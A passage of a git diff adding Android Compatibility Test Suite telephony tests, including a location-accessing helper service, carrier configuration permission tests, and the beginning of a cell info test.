+    // Returns a List<Object> containing one element whose type depends on the command.
+    List performCommand(String command);
+}
diff --git a/tests/tests/telephony/current/LocationAccessingApp/src/android/telephony/cts/locationaccessingapp/CtsLocationAccessService.java b/tests/tests/telephony/current/LocationAccessingApp/src/android/telephony/cts/locationaccessingapp/CtsLocationAccessService.java
new file mode 100644
index 0000000..fa9608a
--- /dev/null
+++ b/tests/tests/telephony/current/LocationAccessingApp/src/android/telephony/cts/locationaccessingapp/CtsLocationAccessService.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.cts.locationaccessingapp;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telephony.CellInfo;
+import android.telephony.CellLocation;
+import android.telephony.PhoneStateListener;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.Executor;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class CtsLocationAccessService extends Service {
+    public static final String CONTROL_ACTION =
+            "android.telephony.cts.locationaccessingapp.ACTION_CONTROL";
+
+    public static final String COMMAND_GET_SERVICE_STATE = "get_service_state";
+    public static final String COMMAND_GET_CELL_INFO = "get_cell_info";
+    public static final String COMMAND_GET_CELL_LOCATION = "get_cell_location";
+    public static final String COMMAND_GET_SERVICE_STATE_FROM_LISTENER =
+            "get_service_state_from_listener";
+    public static final String COMMAND_LISTEN_CELL_LOCATION = "listen_cell_location";
+    public static final String COMMAND_LISTEN_CELL_INFO = "listen_cell_info";
+
+    private static final long LISTENER_TIMEOUT = 1000;
+
+    private ICtsLocationAccessControl mBinder = new ICtsLocationAccessControl.Stub() {
+        @Override
+        public List performCommand(String command) throws RemoteException {
+            Object result = null;
+            switch (command) {
+                case COMMAND_GET_SERVICE_STATE:
+                    result = mTelephonyManager.getServiceState();
+                    break;
+                case COMMAND_GET_CELL_INFO:
+                    result = mTelephonyManager.getAllCellInfo();
+                    break;
+                case COMMAND_GET_CELL_LOCATION:
+                    result = mTelephonyManager.getCellLocation();
+                    break;
+                case COMMAND_GET_SERVICE_STATE_FROM_LISTENER:
+                    result = listenForServiceState();
+                    break;
+                case COMMAND_LISTEN_CELL_INFO:
+                    result = listenForCellInfo();
+                    break;
+                case COMMAND_LISTEN_CELL_LOCATION:
+                    result = listenForCellLocation();
+                    break;
+            }
+            return Collections.singletonList(result);
+        }
+    };
+    private TelephonyManager mTelephonyManager;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        mTelephonyManager = getSystemService(TelephonyManager.class);
+        return mBinder.asBinder();
+    }
+
+    private List<CellInfo> listenForCellInfo() {
+        LinkedBlockingQueue<List<CellInfo>> queue = new LinkedBlockingQueue<>();
+        HandlerThread handlerThread = new HandlerThread("Telephony location CTS");
+        handlerThread.start();
+        Executor executor = new Handler(handlerThread.getLooper())::post;
+        PhoneStateListener listener = new PhoneStateListener(executor) {
+            @Override
+            public void onCellInfoChanged(List<CellInfo> cis) {
+                if (cis == null) cis = Collections.emptyList();
+                queue.offer(cis);
+            }
+        };
+
+        mTelephonyManager.listen(listener, PhoneStateListener.LISTEN_SERVICE_STATE);
+
+        try {
+            return queue.poll(LISTENER_TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException("interrupted");
+        } finally {
+            handlerThread.quit();
+        }
+    }
+
+    private CellLocation listenForCellLocation() {
+        LinkedBlockingQueue<CellLocation> queue = new LinkedBlockingQueue<>();
+        HandlerThread handlerThread = new HandlerThread("Telephony location CTS");
+        handlerThread.start();
+        Executor executor = new Handler(handlerThread.getLooper())::post;
+        PhoneStateListener listener = new PhoneStateListener(executor) {
+            @Override
+            public void onCellLocationChanged(CellLocation cellLocation) {
+                if (cellLocation == null) return;
+                queue.offer(cellLocation);
+            }
+        };
+
+        mTelephonyManager.listen(listener, PhoneStateListener.LISTEN_SERVICE_STATE);
+
+        try {
+            return queue.poll(LISTENER_TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException("interrupted");
+        } finally {
+            handlerThread.quit();
+        }
+    }
+
+    private ServiceState listenForServiceState() {
+        LinkedBlockingQueue<ServiceState> queue = new LinkedBlockingQueue<>();
+        HandlerThread handlerThread = new HandlerThread("Telephony location CTS");
+        handlerThread.start();
+        Executor executor = new Handler(handlerThread.getLooper())::post;
+        PhoneStateListener listener = new PhoneStateListener(executor) {
+            @Override
+            public void onServiceStateChanged(ServiceState ss) {
+                if (ss == null) ss = new ServiceState();
+                queue.offer(ss);
+            }
+        };
+
+        mTelephonyManager.listen(listener, PhoneStateListener.LISTEN_SERVICE_STATE);
+
+        try {
+            ServiceState ss = queue.poll(LISTENER_TIMEOUT, TimeUnit.MILLISECONDS);
+            if (ss == null) {
+                throw new RuntimeException("Timed out waiting for service state");
+            }
+            return ss;
+        } catch (InterruptedException e) {
+            throw new RuntimeException("interrupted");
+        } finally {
+            handlerThread.quit();
+        }
+    }
+}
diff --git a/tests/tests/telephony/preconditions/Android.mk b/tests/tests/telephony/current/preconditions/Android.mk
similarity index 100%
rename from tests/tests/telephony/preconditions/Android.mk
rename to tests/tests/telephony/current/preconditions/Android.mk
diff --git a/tests/tests/telephony/preconditions/app/Android.mk b/tests/tests/telephony/current/preconditions/app/Android.mk
similarity index 100%
rename from tests/tests/telephony/preconditions/app/Android.mk
rename to tests/tests/telephony/current/preconditions/app/Android.mk
diff --git a/tests/tests/telephony/preconditions/app/AndroidManifest.xml b/tests/tests/telephony/current/preconditions/app/AndroidManifest.xml
similarity index 100%
rename from tests/tests/telephony/preconditions/app/AndroidManifest.xml
rename to tests/tests/telephony/current/preconditions/app/AndroidManifest.xml
diff --git a/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java b/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
similarity index 100%
rename from tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
rename to tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
diff --git a/tests/tests/telephony/preconditions/src/android/telephony/cts/preconditions/TelephonyPreparer.java b/tests/tests/telephony/current/preconditions/src/android/telephony/cts/preconditions/TelephonyPreparer.java
similarity index 100%
rename from tests/tests/telephony/preconditions/src/android/telephony/cts/preconditions/TelephonyPreparer.java
rename to tests/tests/telephony/current/preconditions/src/android/telephony/cts/preconditions/TelephonyPreparer.java
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/AvailableNetworkInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/AvailableNetworkInfoTest.java
new file mode 100644
index 0000000..2e39996
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/AvailableNetworkInfoTest.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.AvailableNetworkInfo;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class AvailableNetworkInfoTest {
+    private static final String OPERATOR_MCCMNC_1 = "123456";
+    private static final String OPERATOR_MCCMNC_2 = "246135";
+    private static final int SUB_ID = 123;
+
+    @Test
+    public void testAvailableNetworkInfo() {
+        List<String> mccMncs = new ArrayList<String>();
+        mccMncs.add(OPERATOR_MCCMNC_1);
+        mccMncs.add(OPERATOR_MCCMNC_2);
+        List<Integer> bands = new ArrayList<Integer>();
+
+        AvailableNetworkInfo availableNetworkInfo = new AvailableNetworkInfo(SUB_ID,
+                AvailableNetworkInfo.PRIORITY_HIGH, mccMncs, bands);
+        assertEquals(0, availableNetworkInfo.describeContents());
+        assertEquals(SUB_ID, availableNetworkInfo.getSubId());
+        assertEquals(AvailableNetworkInfo.PRIORITY_HIGH, availableNetworkInfo.getPriority());
+        assertEquals(mccMncs, availableNetworkInfo.getMccMncs());
+        assertEquals(bands, availableNetworkInfo.getBands());
+
+        Parcel availableNetworkInfoParcel = Parcel.obtain();
+        availableNetworkInfo.writeToParcel(availableNetworkInfoParcel, 0);
+        availableNetworkInfoParcel.setDataPosition(0);
+        AvailableNetworkInfo tempAvailableNetworkInfo =
+                AvailableNetworkInfo.CREATOR.createFromParcel(availableNetworkInfoParcel);
+        assertTrue(tempAvailableNetworkInfo.equals(availableNetworkInfo));
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/CarrierCapability.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierCapability.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/CarrierCapability.java
rename to tests/tests/telephony/current/src/android/telephony/cts/CarrierCapability.java
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
new file mode 100644
index 0000000..14c0bb3
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -0,0 +1,251 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.MODE_IGNORED;
+import static android.app.AppOpsManager.OPSTR_READ_PHONE_STATE;
+import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_OVERRIDE_BOOL;
+import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_STRING;
+import static android.telephony.CarrierConfigManager.KEY_FORCE_HOME_NETWORK_BOOL;
+import static android.telephony.ServiceState.STATE_IN_SERVICE;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.AppOpsUtils.setOpMode;
+import static com.android.internal.telephony.TelephonyIntents.EXTRA_SPN;
+import static com.android.internal.telephony.TelephonyIntents.SPN_STRINGS_UPDATED_ACTION;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.os.Looper;
+import android.os.PersistableBundle;
+import android.platform.test.annotations.SecurityTest;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+
+import com.android.compatibility.common.util.TestThread;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+
+public class CarrierConfigManagerTest {
+
+    private static final String CARRIER_NAME_OVERRIDE = "carrier_a";
+    private CarrierConfigManager mConfigManager;
+    private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
+    private static final int TOLERANCE = 2000;
+    private final Object mLock = new Object();
+
+    @Before
+    public void setUp() throws Exception {
+        mTelephonyManager = (TelephonyManager)
+                getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mConfigManager = (CarrierConfigManager)
+                getContext().getSystemService(Context.CARRIER_CONFIG_SERVICE);
+        mPackageManager = getContext().getPackageManager();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        try {
+            setOpMode("android.telephony.cts", OPSTR_READ_PHONE_STATE, MODE_ALLOWED);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    /**
+     * Checks whether the telephony stack should be running on this device.
+     *
+     * Note: "Telephony" means only SMS/MMS and voice calls in some contexts, but we also care if
+     * the device supports cellular data.
+     */
+    private boolean hasTelephony() {
+        ConnectivityManager mgr =
+                (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        return mgr.isNetworkSupported(ConnectivityManager.TYPE_MOBILE);
+    }
+
+    private boolean isSimCardPresent() {
+        return mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE &&
+                mTelephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT;
+    }
+
+    private boolean isSimCardAbsent() {
+        return mTelephonyManager.getSimState() == TelephonyManager.SIM_STATE_ABSENT;
+    }
+
+    private void checkConfig(PersistableBundle config) {
+        if (config == null) {
+            assertFalse("Config should only be null when telephony is not running.", hasTelephony());
+            return;
+        }
+        assertNotNull("CarrierConfigManager should not return null config", config);
+        if (isSimCardAbsent()) {
+            // Static default in CarrierConfigManager will be returned when no sim card present.
+            assertEquals("Config doesn't match static default.",
+                    config.getBoolean(CarrierConfigManager.KEY_ADDITIONAL_CALL_SETTING_BOOL), true);
+
+            assertEquals("KEY_VVM_DESTINATION_NUMBER_STRING doesn't match static default.",
+                config.getString(CarrierConfigManager.KEY_VVM_DESTINATION_NUMBER_STRING), "");
+            assertEquals("KEY_VVM_PORT_NUMBER_INT doesn't match static default.",
+                config.getInt(CarrierConfigManager.KEY_VVM_PORT_NUMBER_INT), 0);
+            assertEquals("KEY_VVM_TYPE_STRING doesn't match static default.",
+                config.getString(CarrierConfigManager.KEY_VVM_TYPE_STRING), "");
+            assertEquals("KEY_VVM_CELLULAR_DATA_REQUIRED_BOOLEAN doesn't match static default.",
+                config.getBoolean(CarrierConfigManager.KEY_VVM_CELLULAR_DATA_REQUIRED_BOOL),
+                false);
+            assertEquals("KEY_VVM_PREFETCH_BOOLEAN doesn't match static default.",
+                config.getBoolean(CarrierConfigManager.KEY_VVM_PREFETCH_BOOL), true);
+            assertEquals("KEY_CARRIER_VVM_PACKAGE_NAME_STRING doesn't match static default.",
+                config.getString(CarrierConfigManager.KEY_CARRIER_VVM_PACKAGE_NAME_STRING), "");
+            assertFalse(CarrierConfigManager.isConfigForIdentifiedCarrier(config));
+        }
+    }
+
+    @Test
+    public void testGetConfig() {
+        PersistableBundle config = mConfigManager.getConfig();
+        checkConfig(config);
+    }
+
+    @SecurityTest
+    @Test
+    public void testRevokePermission() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        PersistableBundle config;
+
+        try {
+            setOpMode("android.telephony.cts", OPSTR_READ_PHONE_STATE, MODE_IGNORED);
+        } catch (IOException e) {
+            fail();
+        }
+
+        config = mConfigManager.getConfig();
+        assertTrue(config.isEmptyParcel());
+
+        try {
+            setOpMode("android.telephony.cts", OPSTR_READ_PHONE_STATE, MODE_ALLOWED);
+        } catch (IOException e) {
+            fail();
+        }
+
+        config = mConfigManager.getConfig();
+        checkConfig(config);
+    }
+
+    @Test
+    public void testGetConfigForSubId() {
+        PersistableBundle config =
+                mConfigManager.getConfigForSubId(SubscriptionManager.getDefaultSubscriptionId());
+        checkConfig(config);
+    }
+
+    /**
+     * Tests the CarrierConfigManager.notifyConfigChangedForSubId() API. This makes a call to
+     * notifyConfigChangedForSubId() API and expects a SecurityException since the test apk is not signed
+     * by certificate on the SIM.
+     */
+    @Test
+    public void testNotifyConfigChangedForSubId() {
+        try {
+            if (isSimCardPresent()) {
+                mConfigManager.notifyConfigChangedForSubId(
+                        SubscriptionManager.getDefaultSubscriptionId());
+                fail("Expected SecurityException. App doesn't have carrier privileges.");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
+     * This checks that {@link CarrierConfigManager#overrideConfig(int, PersistableBundle)}
+     * correctly overrides the Carrier Name (SPN) string.
+     */
+    @Test
+    public void testCarrierConfigNameOverride() throws Exception {
+        if (mTelephonyManager.getServiceState().getState() != STATE_IN_SERVICE) return;
+
+        // Adopt shell permission so the required permission (android.permission.MODIFY_PHONE_STATE)
+        // is granted.
+        UiAutomation ui = getInstrumentation().getUiAutomation();
+        ui.adoptShellPermissionIdentity();
+
+        int subId = SubscriptionManager.getDefaultSubscriptionId();
+        TestThread t = new TestThread(new Runnable() {
+            @Override
+            public void run() {
+                Looper.prepare();
+
+                PersistableBundle carrierNameOverride = new PersistableBundle(3);
+                carrierNameOverride.putBoolean(KEY_CARRIER_NAME_OVERRIDE_BOOL, true);
+                carrierNameOverride.putBoolean(KEY_FORCE_HOME_NETWORK_BOOL, true);
+                carrierNameOverride.putString(KEY_CARRIER_NAME_STRING, CARRIER_NAME_OVERRIDE);
+                mConfigManager.overrideConfig(subId, carrierNameOverride);
+
+                Looper.loop();
+            }
+        });
+
+        try {
+            BroadcastReceiver spnBroadcastReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    if (CARRIER_NAME_OVERRIDE.equals(intent.getStringExtra(EXTRA_SPN))) {
+                        synchronized (mLock) {
+                            mLock.notify();
+                        }
+                    }
+                }
+            };
+
+            getContext().registerReceiver(
+                    spnBroadcastReceiver,
+                    new IntentFilter(SPN_STRINGS_UPDATED_ACTION));
+
+            synchronized (mLock) {
+                t.start();
+                mLock.wait(TOLERANCE); // wait for SPN broadcast
+            }
+
+            assertEquals(CARRIER_NAME_OVERRIDE, mTelephonyManager.getSimOperatorName());
+        } finally {
+            mConfigManager.overrideConfig(subId, null);
+            ui.dropShellPermissionIdentity();
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
new file mode 100644
index 0000000..1783c7d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.fail;
+
+import android.os.PersistableBundle;
+import android.service.carrier.CarrierIdentifier;
+import android.service.carrier.CarrierService;
+
+import org.junit.Before;
+import org.junit.Test;
+
+public class CarrierServiceTest {
+    private CarrierService mCarrierService;
+
+    @Before
+    public void setUp() {
+        mCarrierService = new TestCarrierService();
+    }
+
+    @Test
+    public void testNotifyCarrierNetworkChange_true() {
+        notifyCarrierNetworkChange(true);
+    }
+
+    @Test
+    public void testNotifyCarrierNetworkChange_false() {
+        notifyCarrierNetworkChange(false);
+    }
+
+    private void notifyCarrierNetworkChange(boolean active) {
+        try {
+            mCarrierService.notifyCarrierNetworkChange(active);
+            fail("Expected SecurityException for notifyCarrierNetworkChange(" + active + ")");
+        } catch (SecurityException e) { /* Expected */ }
+    }
+
+    public static class TestCarrierService extends CarrierService {
+        @Override
+        public PersistableBundle onLoadConfig(CarrierIdentifier id) { return null; }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
new file mode 100644
index 0000000..0258b66
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -0,0 +1,1012 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.os.SystemClock;
+import android.telephony.CellIdentity;
+import android.telephony.CellIdentityCdma;
+import android.telephony.CellIdentityGsm;
+import android.telephony.CellIdentityLte;
+import android.telephony.CellIdentityNr;
+import android.telephony.CellIdentityTdscdma;
+import android.telephony.CellIdentityWcdma;
+import android.telephony.CellInfo;
+import android.telephony.CellInfoCdma;
+import android.telephony.CellInfoGsm;
+import android.telephony.CellInfoLte;
+import android.telephony.CellInfoNr;
+import android.telephony.CellInfoTdscdma;
+import android.telephony.CellInfoWcdma;
+import android.telephony.CellSignalStrengthCdma;
+import android.telephony.CellSignalStrengthGsm;
+import android.telephony.CellSignalStrengthLte;
+import android.telephony.CellSignalStrengthNr;
+import android.telephony.CellSignalStrengthTdscdma;
+import android.telephony.CellSignalStrengthWcdma;
+import android.telephony.PhoneStateListener;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+import android.util.Pair;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.concurrent.Executor;
+
+/**
+ * Test TelephonyManager.getAllCellInfo()
+ * <p>
+ * TODO(chesnutt): test onCellInfoChanged() once the implementation
+ * of async callbacks is complete (see http://b/13788638)
+ */
+public class CellInfoTest {
+    private static final String TAG = "android.telephony.cts.CellInfoTest";
+
+    // Maximum and minimum possible RSSI values(in dbm).
+    private static final int MAX_RSSI = -10;
+    private static final int MIN_RSSI = -150;
+    // Maximum and minimum possible RSSP values(in dbm).
+    private static final int MAX_RSRP = -44;
+    private static final int MIN_RSRP = -140;
+    // Maximum and minimum possible RSSQ values.
+    private static final int MAX_RSRQ = -3;
+    private static final int MIN_RSRQ = -35;
+    // Maximum and minimum possible RSSNR values.
+    private static final int MAX_RSSNR = 50;
+    private static final int MIN_RSSNR = 0;
+    // Maximum and minimum possible CQI values.
+    private static final int MAX_CQI = 30;
+    private static final int MIN_CQI = 0;
+
+    /**
+     * Maximum and minimum valid LTE RSSI values in dBm
+     *
+     * The valid RSSI ASU range from current HAL is [0,31].
+     * Convert RSSI ASU to dBm: dBm = -113 + 2 * ASU, which is [-113, -51]
+     *
+     * Reference: TS 27.007 8.5 - Signal quality +CSQ
+     */
+    private static final int MAX_LTE_RSSI = -51;
+    private static final int MIN_LTE_RSSI = -113;
+
+    // The followings are parameters for testing CellIdentityCdma
+    // Network Id ranges from 0 to 65535.
+    private static final int NETWORK_ID  = 65535;
+    // CDMA System Id ranges from 0 to 32767
+    private static final int SYSTEM_ID = 32767;
+    // Base Station Id ranges from 0 to 65535
+    private static final int BASESTATION_ID = 65535;
+    // Longitude ranges from -2592000 to 2592000.
+    private static final int LONGITUDE = 2592000;
+    // Latitude ranges from -1296000 to 1296000.
+    private static final int LATITUDE = 1296000;
+    // Cell identity ranges from 0 to 268435456.
+
+    // The followings are parameters for testing CellIdentityLte
+    private static final int CI = 268435456;
+    // Physical cell id ranges from 0 to 503.
+    private static final int PCI = 503;
+    // Tracking area code ranges from 0 to 65535.
+    private static final int TAC = 65535;
+    // Absolute RF Channel Number ranges from 0 to 262143.
+    private static final int EARFCN_MAX = 262143;
+    private static final int BANDWIDTH_LOW = 1400;  // kHz
+    private static final int BANDWIDTH_HIGH = 20000;  // kHz
+
+    // The followings are parameters for testing CellIdentityWcdma
+    // Location Area Code ranges from 0 to 65535.
+    private static final int LAC = 65535;
+    // UMTS Cell Identity ranges from 0 to 268435455.
+    private static final int CID_UMTS = 268435455;
+    // Primary Scrambling Code ranges from 0 to 511.
+    private static final int PSC = 511;
+    // Cell Parameters Index rangest from 0-127.
+    private static final int CPID = 127;
+
+    // The followings are parameters for testing CellIdentityGsm
+    // GSM Cell Identity ranges from 0 to 65535.
+    private static final int CID_GSM = 65535;
+    // GSM Absolute RF Channel Number ranges from 0 to 65535.
+    private static final int ARFCN = 1024;
+
+    // 3gpp 36.101 Sec 5.7.2
+    private static final int CHANNEL_RASTER_EUTRAN = 100; //kHz
+
+    private static final int MAX_CELLINFO_WAIT_MILLIS = 5000;
+    private static final int MAX_LISTENER_WAIT_MILLIS = 1000; // usually much less
+    // The maximum interval between CellInfo updates from the modem. In the AOSP code it varies
+    // between 2 and 10 seconds, and there is an allowable modem delay of 3 seconds, so if we
+    // cannot get a seconds CellInfo update within 15 seconds, then something is broken.
+    // See DeviceStateMonitor#CELL_INFO_INTERVAL_*
+    private static final int MAX_CELLINFO_INTERVAL_MILLIS = 15000; // in AOSP the max is 10s
+    private static final int RADIO_HAL_VERSION_1_2 = makeRadioVersion(1, 2);
+
+    private PackageManager mPm;
+    private TelephonyManager mTm;
+
+    private int mRadioHalVersion;
+
+    private static final int makeRadioVersion(int major, int minor) {
+        if (major < 0 || minor < 0) return 0;
+        return major * 100 + minor;
+    }
+
+    private Executor mSimpleExecutor = new Executor() {
+        @Override
+        public void execute(Runnable r) {
+            r.run();
+        }
+    };
+
+    private static class CellInfoResultsCallback extends TelephonyManager.CellInfoCallback {
+        List<CellInfo> cellInfo;
+
+        @Override
+        public synchronized void onCellInfo(List<CellInfo> cellInfo) {
+            this.cellInfo = cellInfo;
+            notifyAll();
+        }
+
+        public synchronized void wait(int millis) throws InterruptedException {
+            if (cellInfo == null) {
+                super.wait(millis);
+            }
+        }
+    }
+
+    private static class CellInfoListener extends PhoneStateListener {
+        List<CellInfo> cellInfo;
+
+        public CellInfoListener(Executor e) {
+            super(e);
+        }
+
+        @Override
+        public synchronized void onCellInfoChanged(List<CellInfo> cellInfo) {
+            this.cellInfo = cellInfo;
+            notifyAll();
+        }
+
+        public synchronized void wait(int millis) throws InterruptedException {
+            if (cellInfo == null) {
+                super.wait(millis);
+            }
+        }
+    }
+
+    private boolean isCamped() {
+        ServiceState ss = mTm.getServiceState();
+        if (ss == null) return false;
+        return (ss.getState() == ServiceState.STATE_IN_SERVICE
+                || ss.getState() == ServiceState.STATE_EMERGENCY_ONLY);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mTm = (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mPm = getContext().getPackageManager();
+        Pair<Integer, Integer> verPair = mTm.getRadioHalVersion();
+        mRadioHalVersion = makeRadioVersion(verPair.first, verPair.second);
+    }
+
+    /**
+     * Test to ensure that the PhoneStateListener receives callbacks every time that new CellInfo
+     * is received and not otherwise.
+     */
+    @Test
+    public void testPhoneStateListenerCallback() throws Throwable {
+        CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
+        // Prime the system by requesting a CellInfoUpdate
+        mTm.requestCellInfoUpdate(mSimpleExecutor, resultsCallback);
+        resultsCallback.wait(MAX_CELLINFO_WAIT_MILLIS);
+        // Register a new PhoneStateListener for CellInfo
+        CellInfoListener listener = new CellInfoListener(mSimpleExecutor);
+        mTm.listen(listener, PhoneStateListener.LISTEN_CELL_INFO);
+        // Expect a callback immediately upon registration
+        listener.wait(MAX_LISTENER_WAIT_MILLIS);
+        assertNotNull("CellInfo Listener Never Fired on Registration", listener.cellInfo);
+        // Save the initial listener result as a baseline
+        List<CellInfo> referenceList = listener.cellInfo;
+        assertFalse("CellInfo does not contain valid results", referenceList.isEmpty());
+        assertTrue("Listener Didn't Receive the Right Data",
+                referenceList.containsAll(resultsCallback.cellInfo));
+        listener.cellInfo = null;
+        resultsCallback.cellInfo = null;
+        long timeoutTime = SystemClock.elapsedRealtime() + MAX_CELLINFO_INTERVAL_MILLIS;
+        while (timeoutTime > SystemClock.elapsedRealtime()) {
+            // Request a CellInfo update to try and coax an update from the listener
+            mTm.requestCellInfoUpdate(mSimpleExecutor, resultsCallback);
+            resultsCallback.wait(MAX_CELLINFO_WAIT_MILLIS);
+            assertNotNull("CellInfoCallback should return valid data", resultsCallback.cellInfo);
+            if (referenceList.containsAll(resultsCallback.cellInfo)) {
+                // Check the a call to getAllCellInfo doesn't trigger the listener.
+                mTm.getAllCellInfo();
+                // Wait for the listener to fire; it shouldn't.
+                listener.wait(MAX_LISTENER_WAIT_MILLIS);
+                // Check to ensure the listener didn't fire for stale data.
+                assertNull("PhoneStateListener Fired For Old CellInfo Data", listener.cellInfo);
+            } else {
